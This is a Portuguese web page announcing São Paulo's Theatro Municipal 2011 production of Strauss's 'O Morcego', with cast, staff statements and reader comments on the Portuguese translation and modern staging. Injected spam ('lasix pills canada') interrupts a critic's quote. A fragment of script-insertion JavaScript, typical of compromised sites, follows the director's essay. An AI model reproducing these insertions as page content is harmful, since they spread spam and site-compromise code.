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Municipal SP apresenta “O morcego”, de Strauss

Opereta em três atos de Johann Strauss II, com a Orquestra Sinfônica Municipal e o Coral Lírico.

SERVIÇO

 

Theatro Municipal
Praça Ramos de Azevedo, s/n°

Dias 09.12 (sexta), 12.12 (segunda) e 14.12 (quarta) às 21h.
Dia 10 (sábado), às 20h.
Dia 11, domingo, às 17h.

Ingressos: R$ 70,00, R$ 40,00 e R$ 15,00.
Funcionamento da Bilheteria: 2ª a 6ª, das 10h às 19h, ou até o início do espetáculo. Sábados, domingos e feriados, das 10h às 17h, ou até o início do espetáculo.
Bilheteria: 11.3397-0327 – www.teatromunicipal.sp.gov.br)
Vendas pela Internet: www.ingressorapido.com.br/prefeitura e 11.4003 2050

Classificação etária: livre, recomenda-se a partir dos sete anos

Ar Condicionado – Acesso para portadores de necessidades especiais – Café

 

A mais popular e representativa das operetas vienenses, O Morcego, de Johann Strauss filho, estreou em 1874 no Theater an der Wien, e desde então é sucesso universal, montada com frequência nas principais casas de ópera do mundo. Bem humorada, maliciosa, divertida – e cantada em português -, O Morcego – Die Fledermaus, encerra a temporada de grandes produções do Theatro Municipal de São Paulo, em seu ano de centenário e de reinauguração após o restauro, com cinco récitas entre 9 e 14 de dezembro.

A direção cênica e cenografia são de William Pereira. A direção musical e regência da Orquestra Sinfônica Municipal são do Maestro Abel Rocha, diretor artístico do Theatro Municipal de São Paulo, que diz “O Morcego coroa a programação de 2011 do Municipal marcada pela diversidade de estilos, origens, concepções cênicas e musicais, um reflexo da diversidade da própria cidade de São Paulo.”

 

Elenco

– Rosana Lamosa (dias 9 e 11) e Carmen Monarcha (dias 10, 12 e 14) vivem Rosalinde;
– Fernando Portari (dias 09 e 11) e Juremir Vieira (dias 10, 12 e 14) interpretam Gabriel von Eisenstein;
– Edna D´Oliveira (dias 9 e 11) e Gabriella Pace (dias 10, 12 e 14) são Adele;
– Regina Elena Mesquita vive o Príncipe Orlofsky;
– Rubens Medina é Alfred;
– Leonardo Neiva (dias 9 e 11) e Douglas Hahn (dias 10, 12 e 14) interpretam o Dr. Falke;
– Inácio De Nonno é Frank;
– Paulo Queiroz é Dr. Blind;
– Carla Cottini é Ida
– Fúlvio Stefanini Jr. é Ivan
– Ator Fulvio Stefanini vivendo o papel de Frosch.
O libreto de Karl Haffner e Richard Genée, com base na peça Le Réveillon, de Henri Meilhac e Ludovic Halévy, foi traduzido para o português por William Pereira. Ainda na equipe de criação, Olintho Malachias assina os figurinos, Paulo Goulart Filho é responsável pela coreografia e Domingos Quintilhano pela iluminação.

 

Em contraste com produções anteriores, essa encenação não é de época, pois tem sua ação passada na atualidade. O diretor cênico William Pereira diz: “Quando Strauss estreou Die Fledermaus em Viena, a ação se passava naquele período, naqueles dias de esplendor do Império Austro-Húngaro, e sua intenção – como em toda comédia – era traçar um retrato da sociedade de então e, sob certo prisma, satirizá-la, criticá-la. E esta é a razão principal para este O Morcego do Theatro Municipal de São Paulo não ser uma “montagem de época”, ser ambientado nos dias atuais: cenários, personagens, atitudes e ironias são nossos contemporâneos e devem ser vistos sem qualquer distanciamento histórico. A intenção maior é resgatar os clichês e críticas ao “aqui e agora”, e de certa forma a sensação que teve o público da estréia em 1874, ao ver-se refletido no palco.”

 

Para o diretor musical e regente Abel Rocha, “Em outubro de 2010, mesmo antes de assumir a direção artística da casa, fui convidado pelo Theatro Municipal a reger “O Morcego” e logo de início meu desejo, junto com o diretor William Pereira, foi de demonstrar a junção de história e estilos próprios de uma opereta. Entre os séculos XVIII e XIX, tanto a ópera como a opereta eram espetáculos de imenso apelo popular. A estrutura musical desse gênero, de tão eficiente, foi mantida e reproduzida ao longo da história, e hoje está presente tantos nos espetáculos de teatro musical, quanto em desenhos animados para cinema. As operetas agregavam à música tradicional aquilo que havia de mais moderno, promovendo um envolvimento rápido e direto com o seu público. Se a partitura de O Morcego tivesse sido escrita em 1800, teria sido chamada de opera buffa, se o fosse durante o século XX, seria um musical. O que reforça seu caráter popular e cômico. Nessa obra, tradicionalmente, no segundo ato, inserem-se números musicais os mais diversos. Nós também preparamos uma surpresa, que reflete essa flexibilidade que geralmente uma ópera “séria” não permite.”

 

O crítico Clóvis Marques, em texto para o programa do espetáculo, diz: “ lasix pills canada O Morcego é uma das raras operetas, ao lado da Viúva alegre, de Franz Lehár (1905), a atravessar a fronteira algo artificial entre os dois gêneros, um supostamente mais “sério” que o outro. A temática aparentemente frívola, sobre pano de fundo de comentário social e indiretas políticas, as melodias dançantes e o inconfundível perfume borbulhante da música e da orquestração a tornaram um sucesso universal. Mas essa presença constante nos palcos até hoje se deve também à riqueza dos subtextos de O Morcego e dos arquétipos com que mexe – arquétipos sociais e psicológicos da civilização burguesa ocidental, que favorecem “atualizações” cênicas como esta a que assistiremos no Teatro Municipal de São Paulo.

 

O Morcego
Pelo diretor William Pereira

Ao final de O Morcego, solistas e coro cantam: “Viver apenas de prazer…” Esta é a síntese dessa opereta. Um mundo regido pelo prazer, embriaguez e fugacidade.

Ao atualizar a opereta para essa montagem, criou-se uma intersecção entre História e estória, ou História e libreto, com todas as liberdades e adaptações que uma obra como essa solicita. Reproduzir o século XIX no palco poderia resultar em exercícios de maneirismos, decorativismos e enfraquecimento de sua força crítica. A comédia é sempre imediata, direta, fluente e necessita de uma empatia imediata com a plateia, principalmente numa opereta traduzida para o português.

Baseado numa peça de Meilhac e Halèvy, Le Réveillon, o típico vaudeville francês, O Morcego é repleto de confusões, encontros e desencontros, adultérios e vinganças tardias. O amigo humilhado que anos depois resolve vingar um vexame, o bullying causado pelo outro amigo. Aqui a máxima “A vingança é um prato que se come frio” é literal e “leitmotiv” de toda a ação cênica. A encenação não cria uma narrativa paralela. Apenas apimenta, ironiza, preenche com malícia o que no libreto, até por razões de censura da época, é subliminar.

Para essa transposição para os dias atuais, as referências maiores são o visual de shows de grandes astros do universo pop, a moda, clichês urbanos, histórias em quadrinhos e night clubs, que estão presentes no imaginário popular, na mídia de uma sociedade que celebra o prazer, o fugaz e o descartável como seus símbolos máximos.

No segundo ato, nas cenas de festa, como é tradição nas montagens dessa opereta, foi composta especialmente uma partitura que aproxima a opereta do musical americano, mostrando a opereta como “antepassada” dos musicais que tanto sucesso fazem hoje. Um embate entre a ópera, a opereta e a Broadway. Nesta festa, há uma verdadeira “carnavalização”, com todos os valores morais subvertidos, troca de papeis sociais, a obsessão permanente do charme e da sedução e os tênues limites que separam o entretenimento absoluto da obra de arte.

No terceiro ato há a participação especial do grande ator Fúlvio Stefanini como Frosh, o carcereiro bêbado, num momento de pura comédia. O canto cede espaço ao texto em momentos clownescos, chaplinianos.

É essa mistura de gêneros, ritmos, texto e música, humor, gags e malícia, que fazem o encanto maior de obras como O Morcego. E como diz o Príncipe Orlofsky, anfitrião do segundo ato: “Adoro misturas heterodoxas. Dão sempre ótimas festas”.document.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement(‘script’);

22 Comments

  1. Que sacanagem…..uma semana antes da estreia avisam que a porcaria vai ser em português….na hora da venda não falava nada….
    Mais uma oportunidade de fazer ópera de forma decente jogada no lixo. Mais um desrespeito.
    Pelo amor de Deus, avisem antes (De preferência na hora da venda) quando as peças vão ser em outra língua que não a original!

  2. Operetas tradicionalmente são feitas na língua da audiência… Afinal, com tantos diálogos seria esquizofrênico cantar em uma língua e falar em outra. Grandes casas de ópera no mundo traduzem para seus idiomas, é só conferir.
    Quanto aos ingressos, há sempre a opção de devolvê-los. Estão praticamente esgotados e pode dar uma de cambista e ainda lucrar com isso !!!! Prejuízo não terás…

  3. Concordo, vide a experiência horrenda da Viúva no São Pedro… mas isso deve ser anunciado. O português é belo… mas não cantado: de qualquer forma, fui obrigado a mudar de ideia e ir…. :)

  4. O Douglas tem toda a razão. Imagine o nosso Guarani cantado em alemão. Desculpe mas esquizofrênico foi quem inventou a opereta em português. Console-se Douglas, eu e minha amiga também estaremos lá. No Brasil nada melhora, tudo piora. Mon Dieu de la France!

  5. Depende muito da tradução. O português pode ser belo cantado sim… Mas tradução prá funcionar bem tem que ser inteligente e não ser literal. É sempre uma recriação. Traduzir ao pé-da-letra é ridículo. Veremos…

  6. Mon Dieu… Vá para a França… RSRSRSRS. Ou para Viena para assistir à opereta “no original”…

  7. Hoje eu tive notícias de pessoas que foram ao ensaio ontem da opereta O Morcego. A coisa é pior do que se imagina. Opinião geral: guarda-roupa ridículo e totalmente fora do contexto da peça de Strauss, cenário pavoroso, música de carnaval inserida no espetáculo, o morcego é representado por um Batman com direito a um Robin, tradução miserável, tudo muito ruim. Conclusão: esse é sem dúvida o espetáculo mais grotesco da terra. Pode ficar sossegado Leopoldo, vou devolver os meus ingressos e seguir o seu sábio conselho, vou para Viena. Douglas devolva o seu ingresso… você não vai aguentar. Pobre teatro Municipal de São Paulo, palco onde Maria Callas se apresentou.

  8. Sinto muito… acho pedantismo e purismo sem sentido querer que tudo seja no original. O menino e os sortilégios (ópera infantil) foi muito bem traduzida e tive testemunhos de adultos que não frequentam o teatro lírico dizendo que daqui em diante iriam procurar outras obras para assistirem porque a compreenderam. Aprenderam a gostar. Isso significa formação de público novo, ampliação das oportunidades de acesso à cultura que deveríamos sempre incentivar. E se em outros países se traduz ou não, não importa. Temos que encontrar nossa própria identidade ao invés de ficar sempre macaqueando o que fazem lá fora.

  9. Tenho 2 ingressos para o Morcego dia 10 (inteira e meia) plateia lugar excelente. Se houver interesse – 11- 81147239

  10. As operetas retratavam a sociedade de suas épocas. Por isso, permitem, sim, traduções e montagens que as tragam aos dias atuais. Inclusive quanto à tradução, desde que bem feita. Para os puritanos, a música de Strauss continuará lá, intacta. A não ser que esses estejam com receio de se verem retratados nas críticas cáusticas que certamente teremos. Bizarrice é reclamar sem ver. Chama-se preconceito. Vão todos para Viena!!!

  11. Carissimos leitores!!!

    Antes de embarcarem na máxima “não vi e não gostei”, prestigiem. A opereta tem uma música maravilhosa e está sendo executada com mestria pela orquestra do Municipal, na batuta do maestro Abel Rocha. Os dois elencos são muito bons e estamos bem engajados no que propõe a produção. Vai ser sim um belo espetáculo e, quem for dará umas belas gargalhadas. Para desopilar o figado, sempre vale a pena.
    Um abraco,

    Juremir Vieira

  12. Fui à estreia na sexta-feira e foi espetacular! Orquestra numa pegada incrível, solistas inspiradíssimos… Impossível citar só um nome. William Pereira teve sua ousadia premiada: as sátiras de Strauss caíram bem para a SP do século 21. O enredo é atemporal e a magnífica música estava lá, intacta. Inesquecível o tema livre do segundo ato, com outras óperas, musicais e até Chico Buarque. Juremir está certo: não vale mesmo o “não vi e não gostei”. Pena não poder ver o outro elenco. Espero que a estreia também tenha sido boa, Juremir. Relembrando o primeiro ato, EM PORTUGUÊS, sim, senhoras e senhores: “meu Deus, meu Deus, que comoção”… hahahahaha

  13. “Para os espectadores e críticos mais tradicionalistas, que provavelmente estranharão a montagem pouco ortodoxa que William Pereira faz para a ópera O Morcego, em cartaz no Theatro Municipal de São Paulo a partir do dia 9, o diretor cênico tem uma sugestão: fechem os olhos e aproveitem o som dos acordes compostos por Johann Strauss para orquestra, coral e solistas e ignorem a encenação da obra e seu responsável. “Ópera não é museu e as peças, não importa quando tenham sido criadas, têm de chegar ao público como se acabassem de ser concebidas”, afirma Pereira.

    Por essa razão, para esta opereta cômica de 1874, o diretor tomou uma série de liberdades, inserindo-a no tempo e contexto atuais. Assim, a história do bon vivant Gabriel von Eisenstein – que, antes de se entregar à polícia para cumprir pena por desacato civil, resolve passar uma noitada em casa de seu amigo rico, príncipe Orlofsky – é trazida para os dias de hoje, com figurinos, cenários e maneiras de ser contemporâneos.
    Mas é no segundo ato que a ousadia do encenador é maior: transforma o príncipe Orlofsky em proprietário de uma boate onde ocorre a grande festa, com direito a um show libidinoso no qual bailarinos e atores se misturam aos cantores e a gogo-girls e gogo-boys, em trajes sumaríssimos, com direito inclusive a número de pole dance. Já no terceiro ato, uma crítica ao tratamento dado aos criminosos de colarinho branco: em prisão especial, em meio a banqueiros e políticos corruptos, Eisenstein é tratado como se estivesse num hotel cinco estrelas.”

    Aos que não consegue dar conta do recado… como diria a verdolenga da Marina: lamentável! kkkkkkkkkk

  14. Assisti ao espetáculo com o elenco 2 no sábado. Em uma palavra? Maravilhoso!
    Que propostas ousadas como essa venham sempre, para tirar o pó dos palcos…e das cabeças dos que olham a ópera muito mais como “evento social” que obra de arte.

  15. Fui assisitr hoje à opereta mais FANTÁSTICA QUE JA VI. Em belo e FLUENTE PORTUGUÊS.
    ATUALÍSSIMA, HILÁRIA, APIMENTADA, TUDO DE BOM MESMO.
    QUE FEIO FALAR MAL DE ALGO QUE NEM SEQUER VIU????

  16. Constrangedor. O pior espetáculo a que assisti em 2011 (e olha, eu assisti a um Cirque du Soleil em Orlando)
    Várias cenas com vazios de texto, música ou ação; elenco sem extensão nem potência vocal para canto lírico (elenco 2); texto raso e simplório; enxovalhada de pastiches de musicais populares em uma boite que podia ser tudo, menos animada. Um rei momo/mestre de cerimônias/baco do champagne/barman sofrível. Falta de atenção aos detalhes (o príncipe era servido por último), enfim.
    Vários momentos de vergonha alheia. Como encenaram isso no municipal e, pior, com ajuda financeira paga pelo $ dos contribuintes.
    Assisti a uma montagem convencional do Fledermaus na ópera de Stuttgart, e foi deliciosa, memorável, que passava o espírito do libreto com graça e propriedade.
    A parte boa foi ter ido de metrô à ópera, privilégio comum em praticamente qualquer capital europeia. Chegar rápido, sem carro, nos trens modernos e silenciosos das linhas verde e amarela. É isso aí, Brasil.

  17. Saí envergonhado do Municipal. Nem filme eu interrompo no meio, mas não aguentei assistir ao terceiro ato.
    Falo primeiro das coisas pequenas: cenário e figurino horríveis. Uma baita produção, mas de péssimo gosto.
    Atores que pareciam ter feito a “Escola de Formação de Atores Zorra Total” com caras e bocas ridículas, piadas forçadas e sem graça (achei que morreria antes de ver uma piada de gaúcho no palco do Municipal).
    Em que peça/opereta, no mundo, cantores líricos travam diálogos inaudíveis? Era impossível ouvir o que alguns atores falavam.
    A princípio, estranhei uma opereta em português. Mas não critiquei previamente, preferi conferir. E me arrependo de ter gastado meu tempo. Não combinou, pareceu forçado. Foi um samba do crioulo doido, com texto traduzido de forma simplificada, uma adaptação imatura e uma duração excessiva.
    Não foi de espantar que muitas pessoas saíram antes do fim.

  18. É muito bom para quem viu a original várias vezes e desta vez uma variação que valeu a diversidade da alegria nos tempos do natal. Mas não precisava incluir burcas no momento que vivemos! Apesar dos momentos de carnaval, esta e outras coisas foram apresentadas com o glamour antigo. As pinceladas radicais dos tempos atuais tinham que existir, pois vivemos em 2011 e não em 1800. Portanto, combinando com a opereta. O segundo ato foi um show musical que combinou com a confusão da opreta. O som das falas poderia ser melhor planejado! Mas críticas serão sempre inevitáveis principalmente pela diversidade e variações apresentadas. Ora, permitem agora boas discussões com vinho, champanhe ou cerveja, afinal é natal.
    esquecer pra viver …..Mas a majestade fama tem, fama tem foi ótima….

  19. A qualidade da música clássica vem caindo, em todo o mundo, mas aos poucos, parcialmente, não de forma vertiginosa ou assustadora, mas o que foi apresentado no Municipal de SP foi uma ode ao mau gosto e à falta de senso do ridículo.

    Enumeremos as falhas(se possível):

    1)Cenários terrivelmente feios.
    2)Figurinos terrivelmente feios.
    3)Falta, ou nenhuma, potência vocal nos solistas.
    3.1)Carmen Monarcha é/foi do time do Rieu, popOpera, não devia sequer estar na montagem. Mas o real problema foi a voz de fraca emissão e o timbre, que não tem nada de excepcional.
    3.2)Edna D’Oliveira é uma peça à parte. Diz-se (e dizem) ser Soprano Lírico-Coloratura, mas tem voz de timbre mais escuro (e nada excepcional), e um registro agudo fraco, sem brilho e pequeno. Não devia, em hipótese nenhuma, cantar acima do C6. (E tiveram a audácia de compará-la à Diva magnífica Kathleen Battle, oh! céus).
    4)Tradução pobre, mal-feita, simplória (às raias do ridículo), e sem qualquer expressividade.
    5)Diálogos inaudíveis.
    6)O Segundo Ato foi uma obra a parte. Foi a “piece de resistance” desse espetáculo medonho. Chico Buarque, samba, piadas (sem graça, inclusive) e todo o tipo de ofensa à ópera mundial, foram empregados desmedidamente. Oh Strauss, pobre Strauss…

    Em suma, foi uma noite terrível, ofensiva, e tediosa. Destruíram a belíssima música de Strauss. O fraseado perdeu-se e o ritmo, percebendo que não se fazia necessário, foi-se embora. Uma marca terrível na reputação do (ex?) glorioso Municipal de São Paulo. Mas é claro que, a condição sine qua non para tudo isso ser possível, foi a direção de qualidade duvidosa.

    Saudações,

  20. Assisti às 4 últimas apresentações de ópera no Municipal no último semestre do ano.
    Assisti ao ensaio de “O Morcego”… e foi uma grande pena eu não ter visto antes que Dioneia tinha um par de ingressos para vender, pois quando fui tentar comprar por telefone e pessoalmente no teatro, não havia mais…
    Diferente, atual sem perder a essência… FANTÁSTICO!!!

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